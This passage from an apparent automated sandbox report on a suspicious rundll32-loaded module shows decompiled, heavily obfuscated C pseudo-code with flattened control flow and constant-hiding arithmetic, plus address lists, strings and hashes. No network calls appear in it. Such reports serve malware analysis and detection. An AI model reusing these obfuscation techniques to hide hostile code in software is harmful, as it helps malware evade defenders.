				_v100 = _v100 | 0x757182d7;
				_v100 = _v100 ^ 0x8dca573f;
				_v100 = _v100 + 0xffff237b;
				_v100 = _v100 ^ 0xf8bbb0f5;
				_v20 = 0xe5c838;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0xe4109b10;
				goto L1;
				do {
					while(1) {
						L1:
						_t351 = _t311 - 0x93496d8;
						if(_t351 > 0) {
							break;
						}
						if(_t351 == 0) {
							_t281 = E029D7E10();
							_t344 = _t344 - 0xc + 0xc;
							_t311 = 0x67adb1c;
							_t342 = _t342 + _t281;
							continue;
						} else {
							if(_t311 == 0xb7c7cd) {
								_t286 = E029D7E10();
								_t344 = _t344 - 0xc + 0xc;
								_t311 = 0xa4c6826;
								_t342 = _t342 + _t286;
								continue;
							} else {
								if(_t311 == 0x67adb1c) {
									_t291 = E029D7E10();
									_t344 = _t344 - 0xc + 0xc;
									_t311 = 0x938ab3c;
									_t342 = _t342 + _t291;
									continue;
								} else {
									if(_t311 == 0x6de8da5) {
										_t311 = 0xa2b08fe;
										continue;
									} else {
										if(_t311 != 0x8476217) {
											goto L19;
										} else {
											_t297 = E029D7E10();
											_t344 = _t344 - 0xc + 0xc;
											_t311 = 0xb7c7cd;
											_t342 = _t342 + _t297;
											continue;
										}
									}
								}
							}
						}
						L16:
						return _t342;
					}
					if(_t311 == 0x938ab3c) {
						_t274 = E029D7E10();
						_t344 = _t344 - 0xc + 0xc;
						_t311 = 0x8476217;
						_t342 = _t342 + _t274;
						goto L19;
					} else {
						if(_t311 == 0xa2b08fe) {
							_t342 = _t342 + E029CE05F(_v28, _v32, _v104, _t341 + 0x18);
							_t311 = 0x93496d8;
							goto L1;
						} else {
							if(_t311 != 0xa4c6826) {
								goto L19;
							} else {
								_t342 = _t342 + E029CE05F(_v96, _v100, _v20, _t341 + 0x28);
							}
						}
					}
					goto L16;
					L19:
				} while (_t311 != 0x9f782ca);
				goto L16;
			}

0x029cd899
0x029cd89c
0x029cd8a6
0x029cd8b4
0x029cd8b6
0x029cd8b8
0x029cd8bf
0x029cd8c4
0x029cd8cb
0x029cd8d7
0x029cd8dc
0x029cd8e2
0x029cd8ea
0x029cd8f7
0x029cd8fa
0x029cd8fe
0x029cd906
0x029cd90e
0x029cd916
0x029cd91e
0x029cd926
0x029cd92e
0x029cd936
0x029cd93e
0x029cd946
0x029cd94e
0x029cd95e
0x029cd962
0x029cd967
0x029cd96f
0x029cd977
0x029cd984
0x029cd987
0x029cd98b
0x029cd993
0x029cd99b
0x029cd9a3
0x029cd9b3
0x029cd9b7
0x029cd9bf
0x029cd9cc
0x029cd9cd
0x029cd9d1
0x029cd9d9
0x029cd9e6
0x029cd9ea
0x029cd9f2
0x029cda00
0x029cda04
0x029cda09
0x029cda0e
0x029cda16
0x029cda1e
0x029cda26
0x029cda2e
0x029cda36
0x029cda3e
0x029cda46
0x029cda4e
0x029cda58
0x029cda5d
0x029cda62
0x029cda6a
0x029cda72
0x029cda7a
0x029cda82
0x029cda90
0x029cda95
0x029cda9b
0x029cdaa0
0x029cdaa8
0x029cdab0
0x029cdab8
0x029cdac0
0x029cdac8
0x029cdacd
0x029cdad5
0x029cdadd
0x029cdae6
0x029cdaeb
0x029cdaf5
0x029cdafa
0x029cdb00
0x029cdb08
0x029cdb10
0x029cdb18
0x029cdb20
0x029cdb28
0x029cdb34
0x029cdb39
0x029cdb3f
0x029cdb47
0x029cdb4f
0x029cdb5b
0x029cdb60
0x029cdb66
0x029cdb6e
0x029cdb76
0x029cdb7e
0x029cdb83
0x029cdb8b
0x029cdb93
0x029cdb98
0x029cdba0
0x029cdbad
0x029cdbae
0x029cdbb2
0x029cdbc0
0x029cdbc4
0x029cdbcc
0x029cdbd4
0x029cdbdc
0x029cdbe4
0x029cdbec
0x029cdbf4
0x029cdc01
0x029cdc0b
0x029cdc0b
0x029cdc13
0x029cdc13
0x029cdc13
0x029cdc13
0x029cdc15
0x00000000
0x00000000
0x029cdc1b
0x029cdccb
0x029cdcd0
0x029cdcd3
0x029cdcd8
0x00000000
0x029cdc21
0x029cdc27
0x029cdca4
0x029cdca9
0x029cdcac
0x029cdcb1
0x00000000
0x029cdc29
0x029cdc2f
0x029cdc80
0x029cdc85
0x029cdc88
0x029cdc8d
0x00000000
0x029cdc31
0x029cdc37
0x029cdc69
0x00000000
0x029cdc39
0x029cdc3f
0x00000000
0x029cdc45
0x029cdc58
0x029cdc5d
0x029cdc60
0x029cdc65
0x00000000
0x029cdc65
0x029cdc3f
0x029cdc37
0x029cdc2f
0x029cdc27
0x029cdd0d
0x029cdd15
0x029cdd15
0x029cdce5
0x029cdd49
0x029cdd4e
0x029cdd51
0x029cdd56
0x00000000
0x029cdce7
0x029cdce9
0x029cdd2d
0x029cdd2f
0x00000000
0x029cdceb
0x029cdcf1
0x00000000
0x029cdcf3
0x029cdd0a
0x029cdd0a
0x029cdcf1
0x029cdce9
0x00000000
0x029cdd58
0x029cdd58
0x00000000

Strings

&hL, xrefs: 029CDCEB
E_g, xrefs: 029CD92E
'Q-, xrefs: 029CD90E
bf, xrefs: 029CDAD5
&hL, xrefs: 029CDCAC
2Kz, xrefs: 029CDA2E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: &hL$&hL$'Q-$2Kz$E_g$bf
API String ID: 0-3327759155
Opcode ID: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction ID: c5f4488a1e287f2da1406ef78246d5c008d7b69b4a11f30368dd9a8e70d257b8
Opcode Fuzzy Hash: 818fcac5b5801ca78e024e69867041b2eb9182ed99eaae261f8d373ea8ec87c4
Instruction Fuzzy Hash: 7CC133729093408FC368DF25D58940BFBE2BBC4B58F208A2DF5959A260D7B68949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D0A37, Relevance: 7.8, Strings: 6, Instructions: 251
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029D0A37(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				char _v28;
				intOrPtr _v40;
				char _v44;
				char _v72;
				char _v80;
				signed int _v84;
				char _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				void* _t231;
				void* _t246;
				signed int _t249;
				signed int _t250;
				char* _t252;
				signed int _t253;
				void* _t255;
				intOrPtr _t258;
				intOrPtr* _t263;
				void* _t265;
				intOrPtr _t272;
				signed int _t274;
				void* _t292;
				intOrPtr* _t294;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				void* _t299;
				void* _t300;

				_t263 = _a12;
				_t294 = _a8;
				_push(_t263);
				_push(_t294);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t231);
				_v96 = 0x8148fe;
				_t300 = _t299 + 0x14;
				_v96 = _v96 >> 9;
				_v96 = _v96 ^ 0x000040a4;
				_t292 = 0;
				_v180 = 0xc1b32c;
				_t265 = 0x97aee38;
				_t295 = 0x76;
				_v180 = _v180 / _t295;
				_v180 = _v180 << 0xb;
				_t296 = 0x7b;
				_v180 = _v180 * 0x67;
				_v180 = _v180 ^ 0x489ab010;
				_v156 = 0x736948;
				_v156 = _v156 + 0x1129;
				_v156 = _v156 << 2;
				_v156 = _v156 ^ 0xd5b43907;
				_v156 = _v156 ^ 0xd47178e7;
				_v128 = 0xc7bfd3;
				_v128 = _v128 >> 0xa;
				_v128 = _v128 * 0x1b;
				_v128 = _v128 ^ 0x0006a492;
				_v164 = 0xa3b459;
				_v164 = _v164 + 0xc2ba;
				_v164 = _v164 + 0xe035;
				_v164 = _v164 ^ 0xfb983d6f;
				_v164 = _v164 ^ 0xfb348411;
				_v120 = 0xfe79b9;
				_v120 = _v120 << 4;
				_v120 = _v120 + 0xb283;
				_v120 = _v120 ^ 0x0fe6c84f;
				_v112 = 0x102e8;
				_v112 = _v112 << 6;
				_v112 = _v112 + 0xc42f;
				_v112 = _v112 ^ 0x0040ae5f;
				_v144 = 0x4f5428;
				_v144 = _v144 >> 0x10;
				_v144 = _v144 + 0xffffbcd6;
				_v144 = _v144 ^ 0xfff2970d;
				_v100 = 0x84d979;
				_v100 = _v100 / _t296;
				_v100 = _v100 ^ 0x0008b4da;
				_v172 = 0xc1e813;
				_v172 = _v172 ^ 0xb967ba43;
				_v172 = _v172 + 0x617e;
				_v172 = _v172 + 0xffff9043;
				_v172 = _v172 ^ 0xb9a4f2ed;
				_v108 = 0xbc3bbe;
				_v108 = _v108 >> 0xf;
				_t297 = 0x79;
				_v108 = _v108 / _t297;
				_v108 = _v108 ^ 0x00062e16;
				_v160 = 0x3b0a30;
				_v160 = _v160 >> 9;
				_v160 = _v160 + 0xffffacf8;
				_v160 = _v160 >> 0xb;
				_v160 = _v160 ^ 0x0012b4b1;
				_v176 = 0xd6401b;
				_v176 = _v176 + 0xffff3ae0;
				_v176 = _v176 | 0xa4fbf7b7;
				_v176 = _v176 ^ 0xa4fe0713;
				_v104 = 0xa260fe;
				_v104 = _v104 | 0x058ed723;
				_v104 = _v104 ^ 0x05a9afdf;
				_v116 = 0x844c93;
				_v116 = _v116 ^ 0x1f26d6aa;
				_v116 = _v116 + 0x897d;
				_v116 = _v116 ^ 0x1fa40587;
				_v132 = 0xe52380;
				_v132 = _v132 ^ 0xddaa9c39;
				_v132 = _v132 >> 5;
				_v132 = _v132 ^ 0x06e4d82f;
				_v92 = 0x7da1bc;
				_v92 = _v92 + 0x6512;
				_v92 = _v92 ^ 0x00783202;
				_v152 = 0xf635bd;
				_v152 = _v152 | 0x5452dcb1;
				_v152 = _v152 ^ 0x0d0961f0;
				_v152 = _v152 + 0xfffffc96;
				_v152 = _v152 ^ 0x59f0921b;
				_v168 = 0x921dda;
				_v168 = _v168 | 0xb668f146;
				_v168 = _v168 << 5;
				_v168 = _v168 | 0x2583f6e7;
				_v168 = _v168 ^ 0xffd7ee19;
				_v136 = 0x83e8f0;
				_v136 = _v136 + 0xb7c3;
				_v136 = _v136 + 0xffff913b;
				_v136 = _v136 ^ 0x008b26dc;
				_v140 = 0x39a3a2;
				_v140 = _v140 * 0x68;
				_v140 = _v140 + 0xdda6;
				_v140 = _v140 ^ 0x17633265;
				_v124 = 0xfe894f;
				_v124 = _v124 * 0x18;
				_v124 = _v124 ^ 0xcd9108e8;
				_v124 = _v124 ^ 0xda461c75;
				_v148 = 0xf283c6;
				_v148 = _v148 >> 0xa;
				_v148 = _v148 | 0x24bea9fc;
				_v148 = _v148 + 0xd430;
				_v148 = _v148 ^ 0x24b12559;
				while(_t265 != 0x8ac0f2) {
					if(_t265 == 0x2f2d25b) {
						_t246 = E029D77A7(_v156, _v128,  &_v88,  &_v80, _v164, _v120);
						_t300 = _t300 + 0x10;
						if(_t246 == 0) {
							L25:
							return _t292;
						}
						_t265 = 0x691894f;
						continue;
					}
					if(_t265 == 0x691894f) {
						_t249 = E029C2DC5( &_v72, _v112,  &_v80, _v144, _v100, _v172);
						_t300 = _t300 + 0x10;
						asm("sbb ecx, ecx");
						_t265 = ( ~_t249 & 0x0da00693) + 0x8ac0f2;
						continue;
					}
					if(_t265 == 0x97aee38) {
						_t265 = 0x9cd688a;
						continue;
					}
					if(_t265 == 0x9cd688a) {
						_t250 =  *((intOrPtr*)(_t263 + 4));
						_t272 =  *_t263;
						_v84 = _t250;
						_v88 = _t272;
						_t252 = _t250 - 1 + _t272;
						while(_t252 > _t272) {
							if( *_t252 == 0) {
								break;
							}
							_t252 = _t252 - 1;
						}
						_t253 = _t252 - _t272;
						_v84 = _t253;
						if(_t253 == 0) {
							L18:
							_t265 = 0x2f2d25b;
							continue;
						}
						while(_v84 % _v180 != _v96) {
							_t212 =  &_v84;
							 *_t212 = _v84 - 1;
							if( *_t212 != 0) {
								continue;
							}
							goto L18;
						}
						goto L18;
					}
					if(_t265 != 0xe2ac785) {
						L24:
						if(_t265 != 0x876d026) {
							continue;
						}
						goto L25;
					}
					_t274 = _v108;
					_t255 = E029C4F42(_t274,  &_v44,  &_v28, _v160, _v176);
					_t300 = _t300 + 0xc;
					if(_t255 != 0) {
						_push(_t274);
						_t258 = E029D6F53(_v40);
						 *_t294 = _t258;
						if(_t258 != 0) {
							E029D4626(_v44, _v40,  *_t294, _v132, _v92, _v152, _v168);
							_t300 = _t300 + 0x14;
							 *((intOrPtr*)(_t294 + 4)) = _v40;
							_t292 = 1;
						}
					}
					_t265 = 0x8ac0f2;
				}
				E029CF699(_v136, _v80, _v140, _v124, _v148);
				_t300 = _t300 + 0xc;
				_t265 = 0x876d026;
				goto L24;
			}

0x029d0a3e
0x029d0a47
0x029d0a4f
0x029d0a50
0x029d0a51
0x029d0a58
0x029d0a59
0x029d0a5a
0x029d0a5f
0x029d0a67
0x029d0a6a
0x029d0a71
0x029d0a79
0x029d0a7b
0x029d0a83
0x029d0a8e
0x029d0a93
0x029d0a99
0x029d0aa3
0x029d0aa6
0x029d0aaa
0x029d0ab2
0x029d0aba
0x029d0ac2
0x029d0ac7
0x029d0acf
0x029d0ad7
0x029d0adf
0x029d0ae9
0x029d0aed
0x029d0af5
0x029d0afd
0x029d0b05
0x029d0b0d
0x029d0b15
0x029d0b1d
0x029d0b25
0x029d0b2a
0x029d0b32
0x029d0b3a
0x029d0b42
0x029d0b47
0x029d0b4f
0x029d0b57
0x029d0b5f
0x029d0b64
0x029d0b6c
0x029d0b74
0x029d0b84
0x029d0b88
0x029d0b90
0x029d0b98
0x029d0ba0
0x029d0ba8
0x029d0bb0
0x029d0bb8
0x029d0bc0
0x029d0bc9
0x029d0bcc
0x029d0bd0
0x029d0bd8
0x029d0be0
0x029d0be5
0x029d0bed
0x029d0bf7
0x029d0bff
0x029d0c07
0x029d0c0f
0x029d0c17
0x029d0c1f
0x029d0c27
0x029d0c2f
0x029d0c37
0x029d0c3f
0x029d0c47
0x029d0c4f
0x029d0c57
0x029d0c5f
0x029d0c67
0x029d0c6c
0x029d0c74
0x029d0c7c
0x029d0c84
0x029d0c8c
0x029d0c94
0x029d0c9c
0x029d0ca4
0x029d0cac
0x029d0cb4
0x029d0cbc
0x029d0cc4
0x029d0cc9
0x029d0cd1
0x029d0cd9
0x029d0ce1
0x029d0ce9
0x029d0cf1
0x029d0cf9
0x029d0d06
0x029d0d0a
0x029d0d12
0x029d0d1a
0x029d0d27
0x029d0d2b
0x029d0d33
0x029d0d3b
0x029d0d43
0x029d0d48
0x029d0d50
0x029d0d58
0x029d0d60
0x029d0d6e
0x029d0ec4
0x029d0ec9
0x029d0ece
0x029d0f0a
0x029d0f16
0x029d0f16
0x029d0ed0
0x00000000
0x029d0ed0
0x029d0d7a
0x029d0e8f
0x029d0e94
0x029d0e9b
0x029d0ea3
0x00000000
0x029d0ea3
0x029d0d86
0x029d0e69
0x00000000
0x029d0e69
0x029d0d92
0x029d0e23
0x029d0e26
0x029d0e28
0x029d0e2d
0x029d0e31
0x029d0e3b
0x029d0e38
0x00000000
0x00000000
0x029d0e3a
0x029d0e3a
0x029d0e3f
0x029d0e41
0x029d0e45
0x029d0e5f
0x029d0e5f
0x00000000
0x029d0e5f
0x029d0e47
0x029d0e59
0x029d0e59
0x029d0e5d
0x00000000
0x00000000
0x00000000
0x029d0e5d
0x00000000
0x029d0e47
0x029d0d9e
0x029d0efe
0x029d0f04
0x00000000
0x00000000
0x00000000
0x029d0f04
0x029d0db3
0x029d0dbf
0x029d0dc4
0x029d0dc9
0x029d0dda
0x029d0ddb
0x029d0de0
0x029d0de5
0x029d0e07
0x029d0e15
0x029d0e18
0x029d0e1b
0x029d0e1b
0x029d0de5
0x029d0e1c
0x029d0e1c
0x029d0ef1
0x029d0ef6
0x029d0ef9
0x00000000

Strings

8z, xrefs: 029D0D80
~a, xrefs: 029D0BA0
His, xrefs: 029D0AB2
0;, xrefs: 029D0BD8
(TO, xrefs: 029D0B57
8z, xrefs: 029D0A83

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: (TO$0;$8z$8z$His$~a
API String ID: 0-2714135093
Opcode ID: 7e8fadc86bf3730242583fa98af20a5e5c17ea0bc283027a810c284659ecbfb1
Instruction ID: 2895657c4664935e1101cea3114140433aed84fb1908542f8aafedb604faf3b5
Opcode Fuzzy Hash: 7e8fadc86bf3730242583fa98af20a5e5c17ea0bc283027a810c284659ecbfb1
Instruction Fuzzy Hash: 59C130724083849FC768CF65C989A1BBBE1FBD5748F408A1DF69686260D3B6C948DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D5B7C, Relevance: 7.7, Strings: 6, Instructions: 228
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029D5B7C(intOrPtr __ecx, intOrPtr* __edx) {
				intOrPtr _v4;
				intOrPtr* _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				unsigned int _v76;
				unsigned int _v80;
				signed int _v84;
				unsigned int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				intOrPtr* _t219;
				intOrPtr _t229;
				intOrPtr _t230;
				intOrPtr _t232;
				intOrPtr _t235;
				intOrPtr _t236;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				intOrPtr _t260;
				void* _t263;
				intOrPtr _t264;
				intOrPtr _t265;
				intOrPtr _t266;
				signed int* _t267;

				_t230 = __ecx;
				_t267 =  &_v108;
				_v8 = __edx;
				_v24 = __ecx;
				_v28 = 0x53e42c;
				_t4 =  &_v28; // 0x53e42c
				_v28 =  *_t4 * 0x5f;
				_v28 = _v28 ^ 0x1f21ac54;
				_v88 = 0x7f8f65;
				_v88 = _v88 >> 0x10;
				_v88 = _v88 >> 2;
				_v88 = _v88 ^ 0x000d8849;
				_v52 = 0x8f99ed;
				_t256 = 0x2f;
				_v20 = 0;
				_t263 = 0xddaf584;
				_v52 = _v52 * 0x70;
				_v52 = _v52 ^ 0x3ed59d9b;
				_v44 = 0x565a2a;
				_v44 = _v44 + 0xab7f;
				_v44 = _v44 ^ 0x005fac5a;
				_v84 = 0x4c8933;
				_v84 = _v84 << 0x10;
				_v84 = _v84 | 0x2151b098;
				_v84 = _v84 ^ 0xa9727f6d;
				_v48 = 0x18bb37;
				_v48 = _v48 * 0x6e;
				_v48 = _v48 ^ 0x0aac509b;
				_v76 = 0x91e4d7;
				_v76 = _v76 | 0xffa84532;
				_v76 = _v76 >> 0xe;
				_v76 = _v76 ^ 0x000c5edc;
				_v80 = 0x359929;
				_v80 = _v80 >> 7;
				_v80 = _v80 + 0xffff1466;
				_v80 = _v80 ^ 0xfff91a8d;
				_v104 = 0x78f58c;
				_v104 = _v104 + 0x5959;
				_v104 = _v104 ^ 0xc4cad983;
				_v104 = _v104 * 0x7c;
				_v104 = _v104 ^ 0x46f84210;
				_v108 = 0xaa2ff5;
				_v108 = _v108 + 0x8748;
				_v108 = _v108 + 0x3f26;
				_v108 = _v108 | 0x640862e5;
				_v108 = _v108 ^ 0x64a63b23;
				_v68 = 0x4a983a;
				_v68 = _v68 / _t256;
				_v68 = _v68 + 0xffff7b42;
				_v68 = _v68 ^ 0x000cec9e;
				_v72 = 0xe6cadc;
				_v72 = _v72 >> 9;
				_v72 = _v72 + 0x1710;
				_v72 = _v72 ^ 0x000173ca;
				_v96 = 0x644e9d;
				_v96 = _v96 >> 2;
				_v96 = _v96 >> 2;
				_v96 = _v96 ^ 0x3ea488ee;
				_v96 = _v96 ^ 0x3ea57b62;
				_v100 = 0x664a7f;
				_v100 = _v100 * 0x5c;
				_v100 = _v100 * 0x4e;
				_v100 = _v100 * 0x4a;
				_v100 = _v100 ^ 0xd78f9350;
				_v64 = 0x92b5b4;
				_v64 = _v64 + 0xffffebe3;
				_v64 = _v64 << 4;
				_v64 = _v64 ^ 0x09205d6c;
				_v40 = 0xa6899e;
				_v40 = _v40 + 0xfffff7ab;
				_v40 = _v40 ^ 0x00a9628e;
				_v32 = 0xfe318e;
				_v32 = _v32 >> 8;
				_v32 = _v32 ^ 0x000782b4;
				_v92 = 0xa93f7a;
				_v92 = _v92 ^ 0x0b1273ce;
				_t257 = 0x27;
				_v92 = _v92 / _t257;
				_t258 = 0x78;
				_t229 = _v8;
				_t266 = _v8;
				_v92 = _v92 * 0x74;
				_v92 = _v92 ^ 0x22e2ac0a;
				_v56 = 0x3b5548;
				_v56 = _v56 + 0xffff9800;
				_v56 = _v56 / _t258;
				_v56 = _v56 ^ 0x0008d74c;
				_v60 = 0xb344da;
				_v60 = _v60 + 0xffffac0f;
				_t259 = 0x16;
				_t260 = _v4;
				_v60 = _v60 / _t259;
				_v60 = _v60 ^ 0x000337f8;
				_t215 = _v36;
				L1:
				while(1) {
					do {
						while(_t263 != 0x2ce9cbf) {
							if(_t263 == 0xddaf584) {
								_t263 = 0xfdffa2f;
								continue;
							} else {
								if(_t263 != 0xfdffa2f) {
									goto L15;
								} else {
									_t260 = 0x10000;
									_push(_t230);
									_t215 = E029D6F53(0x10000);
									_t229 = _t215;
									if(_t229 != 0) {
										_v36 = _t215;
										_t266 = 0x10000;
										L6:
										_t230 = _v24;
										_t263 = 0x2ce9cbf;
										continue;
									}
								}
							}
							goto L16;
						}
						_t232 = E029D6E69(_t266, _t215, _t230, _v44, _v84,  &_v16, _v48);
						_t267 =  &(_t267[5]);
						_v20 = _t232;
						if(_t232 == 0) {
							L14:
							_t230 = _v24;
							_t263 = 0x4966b67;
							goto L15;
						} else {
							_t235 = _v16;
							if(_t235 == 0) {
								goto L14;
							} else {
								_t215 = _v36 + _t235;
								_v36 = _v36 + _t235;
								_t266 = _t266 - _t235;
								if(_t266 != 0) {
									goto L6;
								} else {
									_t236 = _t260 + _t260;
									_push(_t236);
									_v12 = _t236;
									_t265 = E029D6F53(_t236);
									if(_t265 != 0) {
										E029D4626(_t229, _t260, _t265, _v104, _v108, _v68, _v72);
										E029CF699(_v96, _t229, _v100, _v64, _v40);
										_t266 = _t260;
										_t215 = _t265 + _t260;
										_t260 = _v12;
										_t267 =  &(_t267[8]);
										_v36 = _t215;
										_t229 = _t265;
										if(_t266 != 0) {
											goto L6;
										}
									}
								}
							}
						}
						break;
						L15:
						_t215 = _v36;
					} while (_t263 != 0x4966b67);
					L16:
					_t264 = _v20;
					if(_t264 != 0) {
						_t219 = _v8;
						 *_t219 = _t229;
						 *((intOrPtr*)(_t219 + 4)) = _t260 - _t266;
					} else {
						E029CF699(_v32, _t229, _v92, _v56, _v60);
					}
					return _t264;
				}
			}

0x029d5b7c
0x029d5b7c
0x029d5b83
0x029d5b87
0x029d5b8b
0x029d5b93
0x029d5b98
0x029d5b9e
0x029d5ba6
0x029d5bae
0x029d5bb3
0x029d5bb8
0x029d5bc0
0x029d5bd1
0x029d5bd2
0x029d5bd6
0x029d5bdb
0x029d5bdf
0x029d5be7
0x029d5bef
0x029d5bf7
0x029d5bff
0x029d5c07
0x029d5c0c
0x029d5c14
0x029d5c1c
0x029d5c29
0x029d5c2d
0x029d5c35
0x029d5c3d
0x029d5c45
0x029d5c4a
0x029d5c52
0x029d5c5a
0x029d5c5f
0x029d5c67
0x029d5c6f
0x029d5c77
0x029d5c7f
0x029d5c8c
0x029d5c90
0x029d5c98
0x029d5ca0
0x029d5ca8
0x029d5cb0
0x029d5cb8
0x029d5cc0
0x029d5cce
0x029d5cd2
0x029d5cda
0x029d5ce2
0x029d5cea
0x029d5cef
0x029d5cf7
0x029d5cff
0x029d5d07
0x029d5d0c
0x029d5d11
0x029d5d19
0x029d5d21
0x029d5d2e
0x029d5d37
0x029d5d40
0x029d5d44
0x029d5d4c
0x029d5d54
0x029d5d5c
0x029d5d61
0x029d5d69
0x029d5d73
0x029d5d7b
0x029d5d83
0x029d5d8b
0x029d5d90
0x029d5d98
0x029d5da0
0x029d5dae
0x029d5db3
0x029d5dbe
0x029d5dc1
0x029d5dc5
0x029d5dc9
0x029d5dcd
0x029d5dd5
0x029d5ddd
0x029d5ded
0x029d5df1
0x029d5df9
0x029d5e01
0x029d5e0d
0x029d5e10
0x029d5e14
0x029d5e18
0x029d5e20
0x00000000
0x029d5e24
0x029d5e24
0x029d5e24
0x029d5e32
0x029d5e71
0x00000000
0x029d5e34
0x029d5e3a
0x00000000
0x029d5e40
0x029d5e44
0x029d5e4f
0x029d5e50
0x029d5e55
0x029d5e5a
0x029d5e60
0x029d5e64
0x029d5e66
0x029d5e66
0x029d5e6a
0x00000000
0x029d5e6a
0x029d5e5a
0x029d5e3a
0x00000000
0x029d5e32
0x029d5e93
0x029d5e95
0x029d5e98
0x029d5e9e
0x029d5f27
0x029d5f27
0x029d5f2b
0x00000000
0x029d5ea4
0x029d5ea4
0x029d5eaa
0x00000000
0x029d5eac
0x029d5eb0
0x029d5eb2
0x029d5eb6
0x029d5eb8
0x00000000
0x029d5eba
0x029d5ebe
0x029d5ec7
0x029d5ec8
0x029d5ed1
0x029d5ed6
0x029d5eed
0x029d5f04
0x029d5f09
0x029d5f0b
0x029d5f0e
0x029d5f15
0x029d5f18
0x029d5f1c
0x029d5f20
0x00000000
0x029d5f22
0x029d5f20
0x029d5ed6
0x029d5eb8
0x029d5eaa
0x00000000
0x029d5f30
0x029d5f30
0x029d5f34
0x029d5f40
0x029d5f40
0x029d5f46
0x029d5f68
0x029d5f6e
0x029d5f70
0x029d5f48
0x029d5f5a
0x029d5f63
0x029d5f7c
0x029d5f7c

Strings

l] , xrefs: 029D5D61
&?, xrefs: 029D5CA8
HU;, xrefs: 029D5DD5
,S, xrefs: 029D5B93
YY, xrefs: 029D5C77
*ZV, xrefs: 029D5BE7

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: &?$*ZV$,S$HU;$YY$l]
API String ID: 0-166477480
Opcode ID: c67047946a1d6176c07df8e1bbd4c9f9eef7f56b99e0525c761825f2b4604ffc
Instruction ID: 64aa76a331bc1e05e2fcf1d8bfc07341b8df545ce02e7fbdcba9331ab3394588
Opcode Fuzzy Hash: c67047946a1d6176c07df8e1bbd4c9f9eef7f56b99e0525c761825f2b4604ffc
Instruction Fuzzy Hash: 06B120719093419FC364CF69C18591BFBE5FBC4758F508A2DF5959A220D3B1CA49CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029C9565, Relevance: 7.7, Strings: 6, Instructions: 205
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029C9565(signed int __ecx, void* __edx) {
				signed int _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				void* _t216;
				intOrPtr _t217;
				intOrPtr _t219;
				intOrPtr _t220;
				signed int _t223;
				signed int _t225;
				void* _t245;
				void* _t246;
				signed int _t248;
				signed int* _t250;

				_t250 =  &_v92;
				_t245 = __edx;
				_t223 = __ecx;
				_v4 = _v4 & 0x00000000;
				_v12 = 0x404de;
				_v8 = 0xfaecc9;
				_v72 = 0xec68df;
				_v72 = _v72 << 0xe;
				_v72 = _v72 + 0xffff19af;
				_v72 = _v72 + 0xffff50e6;
				_v72 = _v72 ^ 0x1a389426;
				_v20 = 0xa56d8f;
				_v20 = _v20 >> 9;
				_v20 = _v20 ^ 0x0009b03c;
				_v76 = 0xdf7e65;
				_v76 = _v76 | 0x27730724;
				_v76 = _v76 ^ 0x2738e8af;
				_v76 = _v76 >> 0xc;
				_v76 = _v76 ^ 0x000132b7;
				_v64 = 0xb67804;
				_v64 = _v64 ^ 0x8696491c;
				_v64 = _v64 + 0xffffed29;
				_v64 = _v64 ^ 0x4fef4ffa;
				_v64 = _v64 ^ 0xc9c44adc;
				_v68 = 0xc0ccf8;
				_v68 = _v68 * 0x42;
				_v68 = _v68 >> 9;
				_v68 = _v68 >> 4;
				_v68 = _v68 ^ 0x0008685c;
				_t246 = 0x57b7895;
				_v44 = 0x32729;
				_t225 = 0x32;
				_t248 = 0xe;
				_v44 = _v44 * 0x27;
				_v44 = _v44 + 0xc81a;
				_v44 = _v44 ^ 0x0079b68d;
				_v48 = 0xb6f630;
				_v48 = _v48 ^ 0xebd88f59;
				_v48 = _v48 / _t225;
				_v48 = _v48 ^ 0x04b9a645;
				_v16 = 0x9d92ed;
				_v16 = _v16 ^ 0xa6c2b21f;
				_v16 = _v16 ^ 0xa65e1726;
				_v32 = 0xf1f1fa;
				_v32 = _v32 >> 9;
				_v32 = _v32 * 0x5f;
